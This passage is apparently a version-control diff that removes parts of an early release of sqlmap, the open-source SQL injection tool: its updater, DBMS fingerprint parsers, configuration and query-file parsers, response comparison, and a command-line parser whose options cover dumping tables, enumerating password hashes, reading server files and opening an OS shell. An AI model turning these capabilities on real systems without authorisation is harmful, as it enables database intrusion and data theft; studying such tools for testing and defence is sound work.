cleanRoot = cleanRoot.replace("%ssqlmap-%s" % (os.sep, sqlmapNewestVersion), "")
if cleanRoot.startswith(os.sep):
cleanRoot = cleanRoot[1:]
for f in files:
# Just for development release
if f.endswith(".pyc") or f.endswith(".pyo"):
continue
srcFile = os.path.join(root, f)
dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f))
if f == "sqlmap.conf" and os.path.exists(dstFile):
infoMsg = "backupping configuration file to '%s.bak'" % dstFile
logger.info(infoMsg)
shutil.move(dstFile, "%s.bak" % dstFile)
if os.path.exists(dstFile):
debugMsg = "replacing file '%s'" % dstFile
else:
debugMsg = "creating new file '%s'" % dstFile
logger.debug(debugMsg)
mkpath(os.path.dirname(dstFile))
shutil.copy(srcFile, dstFile)
if f.endswith(".py"):
os.chmod(dstFile, 0755)
infoMsg = "sqlmap updated successfully"
logger.info(infoMsg)
def update():
if not conf.updateAll:
return
__updateSqlmap()
__updateMSSQLXML()
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-128
View File
@@ -1,128 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
from xml.sax.handler import ContentHandler
from lib.core.common import checkFile
from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
class MSSQLBannerHandler(ContentHandler):
"""
This class defines methods to parse and extract information from the
given Microsoft SQL Server banner based upon the data in XML file
"""
def __init__(self, banner):
self.__banner = sanitizeStr(banner)
self.__inVersion = False
self.__inServicePack = False
self.__release = None
self.__version = ""
self.__servicePack = ""
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
kb.bannerFp[key] = value
def startElement(self, name, attrs):
if name == "signatures":
self.__release = sanitizeStr(attrs.get("release"))
elif name == "version":
self.__inVersion = True
elif name == "servicepack":
self.__inServicePack = True
def characters(self, data):
if self.__inVersion:
self.__version += sanitizeStr(data)
elif self.__inServicePack:
self.__servicePack += sanitizeStr(data)
def endElement(self, name):
if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
self.__feedInfo("dbmsRelease", self.__release)
self.__feedInfo("dbmsVersion", self.__version)
self.__feedInfo("dbmsServicePack", self.__servicePack)
self.__version = ""
self.__servicePack = ""
elif name == "version":
self.__inVersion = False
self.__version = self.__version.replace(" ", "")
elif name == "servicepack":
self.__inServicePack = False
self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner):
"""
This function calls a class to extract information from the given
DBMS banner based upon the data in XML file
"""
if kb.dbms == "Microsoft SQL Server":
xmlfile = paths.MSSQL_XML
elif kb.dbms == "MySQL":
xmlfile = paths.MYSQL_XML
elif kb.dbms == "Oracle":
xmlfile = paths.ORACLE_XML
elif kb.dbms == "PostgreSQL":
xmlfile = paths.PGSQL_XML
checkFile(xmlfile)
if kb.dbms == "Microsoft SQL Server":
handler = MSSQLBannerHandler(banner)
parse(xmlfile, handler)
handler = FingerprintHandler(banner, kb.bannerFp)
parse(paths.GENERIC_XML, handler)
else:
handler = FingerprintHandler(banner, kb.bannerFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)
-343
View File
@@ -1,343 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys
from optparse import OptionError
from optparse import OptionGroup
from optparse import OptionParser
from lib.core.data import logger
from lib.core.settings import VERSION_STRING
def cmdLineParser():
"""
This function parses the command line parameters and arguments
"""
usage = "%s [options]" % sys.argv[0]
parser = OptionParser(usage=usage, version=VERSION_STRING)
try:
parser.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 1)")
# Target options
target = OptionGroup(parser, "Target", "At least one of these "
"options has to be specified to set the source "
"to get target urls from.")
target.add_option("-u", "--url", dest="url", help="Target url")
target.add_option("-l", dest="list", help="Parse targets from Burp "
"or WebScarab logs")
target.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
# Request options
request = OptionGroup(parser, "Request", "These options can be used "
"to specify how to connect to the target url.")
request.add_option("--method", dest="method", default="GET",
help="HTTP method, GET or POST (default: GET)")
request.add_option("--data", dest="data",
help="Data string to be sent through POST")
request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header")
request.add_option("--referer", dest="referer",
help="HTTP Referer header")
request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header")
request.add_option("-a", dest="userAgentsFile",
help="Load a random HTTP User-Agent "
"header from file")
request.add_option("--headers", dest="headers",
help="Extra HTTP headers '\\n' separated")
request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: "
"Basic or Digest")
request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials, value: "
"name:password")
request.add_option("--proxy", dest="proxy",
help="Use a HTTP proxy to connect to the target url")
request.add_option("--threads", dest="threads", type="int",
help="Maximum number of concurrent HTTP "
"requests (default 1)")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection "
"(default 30)")
# Injection options
injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"how to parse and compare HTTP responses "
"page content when using the blind SQL "
"injection technique.")
injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--prefix", dest="prefix",
help="Injection payload prefix string")
injection.add_option("--postfix", dest="postfix",
help="Injection payload postfix string")
injection.add_option("--string", dest="string",
help="String to match in page when the "
"query is valid")
injection.add_option("--regexp", dest="regexp",
help="Regexp to match in page when the "
"query is valid")
injection.add_option("--excl-str", dest="eString",
help="String to be excluded before calculating "
"page hash")
injection.add_option("--excl-reg", dest="eRegexp",
help="Regexp matches to be excluded before "
"calculating page hash")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--stacked-test", dest="stackedTest",
action="store_true",
help="Test for stacked queries (multiple "
"statements) support")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION query (inband) SQL injection")
techniques.add_option("--union-tech", dest="uTech",
help="Technique to test for UNION query SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION query (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
action="store_true",
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database "
"management system information, structure "
"and data contained in the tables. Moreover "
"you can run your own SQL statements.")
enumeration.add_option("-b", "--banner", dest="getBanner",
action="store_true", help="Retrieve DBMS banner")
enumeration.add_option("--current-user", dest="getCurrentUser",
action="store_true",
help="Retrieve DBMS current user")
enumeration.add_option("--current-db", dest="getCurrentDb",
action="store_true",
help="Retrieve DBMS current database")
enumeration.add_option("--is-dba", dest="isDba",
action="store_true",
help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users")
enumeration.add_option("--passwords", dest="getPasswordHashes",
action="store_true",
help="Enumerate DBMS users password hashes (opt: -U)")
enumeration.add_option("--privileges", dest="getPrivileges",
action="store_true",
help="Enumerate DBMS users privileges (opt: -U)")
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
help="Enumerate DBMS databases")
enumeration.add_option("--tables", dest="getTables", action="store_true",
help="Enumerate DBMS database tables (opt: -D)")
enumeration.add_option("--columns", dest="getColumns", action="store_true",
help="Enumerate DBMS database table columns "
"(req:-T opt:-D)")
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries "
"(req: -T, opt: -D, -C, --start, --stop)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries")
enumeration.add_option("-D", dest="db",
help="DBMS database to enumerate")
enumeration.add_option("-T", dest="tbl",
help="DBMS database table to enumerate")
enumeration.add_option("-C", dest="col",
help="DBMS database table column to enumerate")
enumeration.add_option("-U", dest="user",
help="DBMS user to enumerate")
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
action="store_true",
help="Exclude DBMS system databases when "
"enumerating tables")
enumeration.add_option("--start", dest="limitStart", type="int",
help="First table entry to dump")
enumeration.add_option("--stop", dest="limitStop", type="int",
help="Last table entry to dump")
enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell",
action="store_true",
help="Prompt for an interactive SQL shell")
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database "
"management system file system taking "
"advantage of native DBMS functions or "
"specific DBMS design weaknesses.")
filesystem.add_option("--read-file", dest="rFile",
help="Read a specific OS file content (only on MySQL)")
filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)")
# Takeover options
takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end "
"database management system operating "
"system taking advantage of specific DBMS "
"design weaknesses.")
takeover.add_option("--os-shell", dest="osShell", action="store_true",
help="Prompt for an interactive OS shell "
"(only on PHP/MySQL environment with a "
"writable directory within the web "
"server document root for the moment)")
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and "
"calculate the estimated time of arrival "
"in real time")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
miscellaneous.add_option("-s", dest="sessionFile",
help="Save and resume all data retrieved "
"on a session file")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file")
miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour")
parser.add_option_group(target)
parser.add_option_group(request)
parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint)
parser.add_option_group(enumeration)
parser.add_option_group(filesystem)
parser.add_option_group(takeover)
parser.add_option_group(miscellaneous)
(args, _) = parser.parse_args()
if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:
errMsg = "missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), "
errMsg += "-h for help"
parser.error(errMsg)
return args
except (OptionError, TypeError), e:
parser.error(e)
debugMsg = "parsing command line"
logger.debug(debugMsg)
-104
View File
@@ -1,104 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from ConfigParser import NoSectionError
from ConfigParser import ConfigParser
from lib.core.common import checkFile
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.optiondict import optDict
config = None
def configFileProxy(section, option, boolean=False, integer=False):
"""
Parse configuration file and save settings into the configuration
advanced dictionary.
"""
global config
if config.has_option(section, option):
if boolean:
value = config.getboolean(section, option)
elif integer:
value = config.getint(section, option)
else:
value = config.get(section, option)
if value:
conf[option] = value
else:
conf[option] = None
else:
debugMsg = "missing requested option '%s' (section " % option
debugMsg += "'%s') into the configuration file, " % section
debugMsg += "ignoring. Skipping to next."
logger.debug(debugMsg)
def configFileParser(configFile):
"""
Parse configuration file and save settings into the configuration
advanced dictionary.
"""
global config
debugMsg = "parsing configuration file"
logger.debug(debugMsg)
checkFile(configFile)
config = ConfigParser()
config.read(configFile)
if not config.has_section("Target"):
raise NoSectionError, "Target in the configuration file is mandatory"
condition = not config.has_option("Target", "url")
condition &= not config.has_option("Target", "list")
condition &= not config.has_option("Target", "googleDork")
if condition:
errMsg = "missing a mandatory option in the configuration "
errMsg += "file (url, list or googleDork)"
raise sqlmapMissingMandatoryOptionException, errMsg
for family, optionData in optDict.items():
for option, data in optionData.items():
boolean = False
integer = False
if data == "boolean":
boolean = True
elif data == "integer":
integer = True
configFileProxy(family, option, boolean, integer)
-96
View File
@@ -1,96 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
the given DBMS banner based upon the data in XML file
"""
def __init__(self, banner, info):
self.__banner = sanitizeStr(banner)
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None
self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
if key in ( "dbmsVersion" ):
self.__info[key] = value
else:
if key not in self.__info.keys():
self.__info[key] = set()
for v in value.split("|"):
self.__info[key].add(v)
def startElement(self, name, attrs):
if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value"))
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
if name == "info" and self.__match:
self.__feedInfo("type", attrs.get("type"))
self.__feedInfo("distrib", attrs.get("distrib"))
self.__feedInfo("release", attrs.get("release"))
self.__feedInfo("codename", attrs.get("codename"))
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
self.__sp = sanitizeStr(attrs.get("sp"))
if self.__dbmsVersion.isdigit():
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
if self.__techVersion.isdigit():
self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
else:
self.__feedInfo("technology", attrs.get("technology"))
if self.__sp.isdigit():
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None
-70
View File
@@ -1,70 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
from lib.core.common import checkFile
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
fingerprint the back-end database management system operating system
and the web application technology
"""
# It is enough to parse the headers on first four HTTP responses
if kb.headersCount > 3:
return
kb.headersCount += 1
topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
}
for header in headers:
if header in topHeaders.keys():
value = headers[header]
xmlfile = topHeaders[header]
checkFile(xmlfile)
handler = FingerprintHandler(value, kb.headersFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)
-81
View File
@@ -1,81 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
from xml.sax.handler import ContentHandler
from lib.core.common import checkFile
from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
class htmlHandler(ContentHandler):
"""
This class defines methods to parse the input HTML page to
fingerprint the back-end database management system
"""
def __init__(self, page):
self.__dbms = None
self.__page = page
self.__regexp = None
self.__match = None
self.dbms = None
def startElement(self, name, attrs):
if name == "dbms":
self.__dbms = attrs.get("value")
if name == "error":
self.__regexp = attrs.get("regexp")
self.__match = re.search(self.__regexp, self.__page, re.I)
if self.__match:
self.dbms = self.__dbms
self.__match = None
def htmlParser(page):
"""
This function calls a class that parses the input HTML page to
fingerprint the back-end database management system
"""
xmlfile = paths.ERRORS_XML
checkFile(xmlfile)
page = sanitizeStr(page)
handler = htmlHandler(page)
parse(xmlfile, handler)
if handler.dbms and handler.dbms not in kb.htmlFp:
kb.htmlFp.append(handler.dbms)
return handler.dbms
-219
View File
@@ -1,219 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from xml.sax import parse
from xml.sax.handler import ContentHandler
from lib.core.common import checkFile
from lib.core.common import sanitizeStr
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import paths
from lib.core.datatype import advancedDict
class queriesHandler(ContentHandler):
"""
This class defines methods to parse the default DBMS queries
from an XML file
"""
def __init__(self):
self.__dbms = ''
self.__queries = advancedDict()
def startElement(self, name, attrs):
if name == "dbms":
data = sanitizeStr(attrs.get("value"))
self.__dbms = data
elif name == "cast":
data = sanitizeStr(attrs.get("query"))
self.__queries.cast = data
elif name == "length":
data = sanitizeStr(attrs.get("query"))
self.__queries.length = data
elif name == "isnull":
data = sanitizeStr(attrs.get("query"))
self.__queries.isnull = data
elif name == "delimiter":
data = sanitizeStr(attrs.get("query"))
self.__queries.delimiter = data
elif name == "limit":
data = sanitizeStr(attrs.get("query"))
self.__queries.limit = data
elif name == "limitregexp":
data = sanitizeStr(attrs.get("query"))
self.__queries.limitregexp = data
elif name == "limitgroupstart":
data = sanitizeStr(attrs.get("query"))
self.__queries.limitgroupstart = data
elif name == "limitgroupstop":
data = sanitizeStr(attrs.get("query"))
self.__queries.limitgroupstop = data
elif name == "limitstring":
data = sanitizeStr(attrs.get("query"))
self.__queries.limitstring = data
elif name == "order":
data = sanitizeStr(attrs.get("query"))
self.__queries.order = data
elif name == "count":
data = sanitizeStr(attrs.get("query"))
self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
elif name == "substring":
data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data
elif name == "case":
data = sanitizeStr(attrs.get("query"))
self.__queries.case = data
elif name == "inference":
data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data
elif name == "banner":
data = sanitizeStr(attrs.get("query"))
self.__queries.banner = data
elif name == "current_user":
data = sanitizeStr(attrs.get("query"))
self.__queries.currentUser = data
elif name == "current_db":
data = sanitizeStr(attrs.get("query"))
self.__queries.currentDb = data
elif name == "is_dba":
data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data
elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2"))
self.__condition = sanitizeStr(attrs.get("condition"))
self.__condition2 = sanitizeStr(attrs.get("condition2"))
elif name == "blind":
self.__blind = sanitizeStr(attrs.get("query"))
self.__blind2 = sanitizeStr(attrs.get("query2"))
self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2"))
def endElement(self, name):
if name == "dbms":
queries[self.__dbms] = self.__queries
self.__queries = advancedDict()
elif name == "users":
self.__users = {}
self.__users["inband"] = { "query": self.__inband, "query2": self.__inband2 }
self.__users["blind"] = { "query": self.__blind, "query2": self.__blind2,
"count": self.__count, "count2": self.__count2 }
self.__queries.users = self.__users
elif name == "passwords":
self.__passwords = {}
self.__passwords["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition }
self.__passwords["blind"] = { "query": self.__blind, "query2": self.__blind2,
"count": self.__count, "count2": self.__count2 }
self.__queries.passwords = self.__passwords
elif name == "privileges":
self.__privileges = {}
self.__privileges["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
self.__privileges["blind"] = { "query": self.__blind, "query2": self.__blind2,
"count": self.__count, "count2": self.__count2 }
self.__queries.privileges = self.__privileges
elif name == "dbs":
self.__dbs = {}
self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 }
self.__dbs["blind"] = { "query": self.__blind, "query2": self.__blind2,
"count": self.__count, "count2": self.__count2 }
self.__queries.dbs = self.__dbs
elif name == "tables":
self.__tables = {}
self.__tables["inband"] = { "query": self.__inband, "condition": self.__condition }
self.__tables["blind"] = { "query": self.__blind, "count": self.__count }
self.__queries.tables = self.__tables
elif name == "columns":
self.__columns = {}
self.__columns["inband"] = { "query": self.__inband }
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
self.__queries.columns = self.__columns
elif name == "dump_table":
self.__dumpTable = {}
self.__dumpTable["inband"] = { "query": self.__inband }
self.__dumpTable["blind"] = { "query": self.__blind, "count": self.__count }
self.__queries.dumpTable = self.__dumpTable
def queriesParser():
"""
This function calls a class to parse the default DBMS queries
from an XML file
"""
debugMsg = "parsing XML queries file"
logger.debug(debugMsg)
xmlfile = paths.QUERIES_XML
checkFile(xmlfile)
handler = queriesHandler()
parse(xmlfile, handler)
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-80
View File
@@ -1,80 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
def forgeHeaders(cookie, ua):
"""
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
the HTTP requests
"""
headers = {}
for header, value in conf.httpHeaders:
if cookie and header == "Cookie":
headers[header] = cookie
elif ua and header == "User-Agent":
headers[header] = ua
else:
headers[header] = value
return headers
def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
@todo: in the future parse the page content scrolling an XML file to
identify the dynamic language used and, most, the absolute path,
like for DBMS error messages (ERRORS_XML), see above.
"""
if headers:
headersParser(headers)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
-81
View File
@@ -1,81 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.data import conf
from lib.core.settings import MATCH_RATIO
def comparison(page, headers=None, getSeqMatcher=False):
regExpResults = None
# String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
pageWithoutString = page[:index]
pageWithoutString += page[index+length:]
page = pageWithoutString
# Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
if regExpResults:
for regExpResult in regExpResults:
index = page.index(regExpResult)
length = len(regExpResult)
pageWithoutRegExp = page[:index]
pageWithoutRegExp += page[index+length:]
page = pageWithoutRegExp
# String to match in page when the query is valid
if conf.string:
if conf.string in page:
return True
else:
return False
# Regular expression to match in page when the query is valid
if conf.regexp:
